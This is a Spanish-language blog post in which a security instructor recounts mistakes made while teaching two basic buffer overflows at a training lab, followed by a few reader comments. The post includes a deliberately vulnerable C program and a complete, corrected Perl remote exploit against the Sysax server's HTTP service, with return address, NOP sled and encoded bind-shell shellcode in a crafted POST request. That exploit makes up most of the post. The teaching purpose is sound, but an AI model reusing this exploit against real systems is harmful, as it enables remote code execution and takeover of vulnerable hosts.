En uno de los RootedLab de este año explicaba como explotar dos buffer overflows muy básicos. El primer ejercicio y más clásico, desbordando una aplicación de Linux que espera un argumento. El segundo, en un parámetro de un POST un servicio HTTP de Windows.
En ambos tras siete horas de clase (aunque no hay excusa que valga) metí la pata.
El código usado para Linux no puede ser más típico:
#include#include #include int bof(char *string) { char buffer[1024]; strcpy(buffer, string); return 1; } int main(int argc, char *argv[]) { if (argv[1]) { bof(argv[1]); printf("Done..\n"); } return 1; }
Compilado y ejecutado en un entorno ideal, es decir, deshabilitando el "stack-protector" y "FORTIFY_SOURCE", además de deshabilitando el "randomize_va_space del kernel".
Cuando en la clase tratamos de explotarlo por línea de comandos la shellcode generada usando msfpayload estaba mal copiada y yo había duplicado una de las líneas. Como es lógico fallaba en su ejecución y no me di cuenta del descuido, pensando que estaba fallando por utilizar un puerto ya en uso en la bindshell que lanzaba.
En el caso del exploit para Windows, ejecutado sobre una máquina virtual con XP SP2 en Inglés y sin DEP, ocurrió exactamente lo mismo, solo que copie y pegué un la shellcode en formato python en un script en perl. ¡Si os reís os buscaré y encontraré!. Por alguna extraña razón, perl no añade strings con el símbolo + y claro, aquello no iba... aunque todo lo demás estaba correcto.
La aplicación objetivo era un "multi" servidor llamado Sysax, para el que acaban de publicar otra vulnerabilidad en el servicio SSH. Una auténtica joya para empezar.
El exploit correcto a desarrollar, quedaba así:
#!/usr/bin/perl use strict; use IO::Socket; my $remote = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "192.168.135.139", PeerPort => "81") or die "error"; $|=1; my $sid=$ARGV[0]; my $junk = "A"x705; my $ret .= "\xbc\x41\xdb\x77"; # jmp esp de USER32.dll 0x77db41bc my $nops .= "\x90"x50; my $buf = "\xdb\xd6\xd9\x74\x24\xf4\x5a\xbb\xb2\xea\xbb\xa1\x29\xc9" . "\xb1\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\xa6\x08\x4e\x5d" . "\x2e\x45\xb1\x9e\xae\x36\x3b\x7b\x9f\x64\x5f\x0f\x8d\xb8" . "\x2b\x5d\x3d\x32\x79\x76\xb6\x36\x56\x79\x7f\xfc\x80\xb4" . "\x80\x30\x0d\x1a\x42\x52\xf1\x61\x96\xb4\xc8\xa9\xeb\xb5" . "\x0d\xd7\x03\xe7\xc6\x93\xb1\x18\x62\xe1\x09\x18\xa4\x6d" . "\x31\x62\xc1\xb2\xc5\xd8\xc8\xe2\x75\x56\x82\x1a\xfe\x30" . "\x33\x1a\xd3\x22\x0f\x55\x58\x90\xfb\x64\x88\xe8\x04\x57" . "\xf4\xa7\x3a\x57\xf9\xb6\x7b\x50\xe1\xcc\x77\xa2\x9c\xd6" . "\x43\xd8\x7a\x52\x56\x7a\x09\xc4\xb2\x7a\xde\x93\x31\x70" . "\xab\xd0\x1e\x95\x2a\x34\x15\xa1\xa7\xbb\xfa\x23\xf3\x9f" . "\xde\x68\xa0\xbe\x47\xd5\x07\xbe\x98\xb1\xf8\x1a\xd2\x50" . "\xed\x1d\xb9\x3c\xc2\x13\x42\xbd\x4c\x23\x31\x8f\xd3\x9f" . "\xdd\xa3\x9c\x39\x19\xc3\xb7\xfe\xb5\x3a\x37\xff\x9c\xf8" . "\x63\xaf\xb6\x29\x0b\x24\x47\xd5\xde\xeb\x17\x79\xb0\x4b" . "\xc8\x39\x60\x24\x02\xb6\x5f\x54\x2d\x1c\xd6\x52\xe3\x44" . "\xbb\x34\x06\x7b\x2a\x99\x8f\x9d\x26\x31\xc6\x36\xde\xf3" . "\x3d\x8f\x79\x0b\x14\xa3\xd2\x9b\x20\xad\xe4\xa4\xb0\xfb" . "\x47\x08\x18\x6c\x13\x42\x9d\x8d\x24\x4f\xb5\xc4\x1d\x18" . "\x4f\xb9\xec\xb8\x50\x90\x86\x59\xc2\x7f\x56\x17\xff\xd7" . "\x01\x70\x31\x2e\xc7\x6c\x68\x98\xf5\x6c\xec\xe3\xbd\xaa" . "\xcd\xea\x3c\x3e\x69\xc9\x2e\x86\x72\x55\x1a\x56\x25\x03" . "\xf4\x10\x9f\xe5\xae\xca\x4c\xac\x26\x8a\xbe\x6f\x30\x93" . "\xea\x19\xdc\x22\x43\x5c\xe3\x8b\x03\x68\x9c\xf1\xb3\x97" . "\x77\xb2\xc4\xdd\xd5\x93\x4c\xb8\x8c\xa1\x10\x3b\x7b\xe5" . "\x2c\xb8\x89\x96\xca\xa0\xf8\x93\x97\x66\x11\xee\x88\x02" . "\x15\x5d\xa8\x06"; my $junk2 .= "\x44"x1000; my $payload = $junk . $ret . $nops . $buf . $junk2; my $head = "POST /scgi?sid=$sid&pid=mk_folder2_name1.htm HTTP/1.1\r\n" ."Host: \r\n" ."Referer: http://192.168.139.135/scgi?sid=".$sid."&pid=mk_folder1_name1.htm\r\n" ."Content-Type: multipart/form-data; boundary=---------------------------" ."1190753071675116720811342231\r\n" ."Content-Length: 171\r\n\r\n" ."-----------------------------1190753071675116720811342231\r\n" ."Content-Disposition: form-data; name=\"e2\"\r\n\r\n" ."$payload\r\n" ."-----------------------------1190753071675116720811342231--\r\n\r\n" ."\r\n"; print $head; print $remote $head; while(<$remote>) { print } close $remote;
Por desgracia el temario siempre es demasiado largo y no había mucho tiempo ni para meter un par de prints o ver que decía exactamente el debugger y arreglar el problema. Nota mental para próximos años, si es que los hay: ¡reducir contenido o hacerlo de dos días!
3 comments :
no te preocupes, rectificar y reconocerlo es de sabios ;)
Efectivamente, rectificar es de sabios! Y bueno... son fallos tontos, como bien dices en el título del post, que son los más difíciles de encontrar.
Por esse camino seras un gran (Guru) Maestro ...
Mucha gente le falta humildad pero a otros les sobra...
Plazer en leer tus posts Alejandro...
Saludos
Publicar un comentario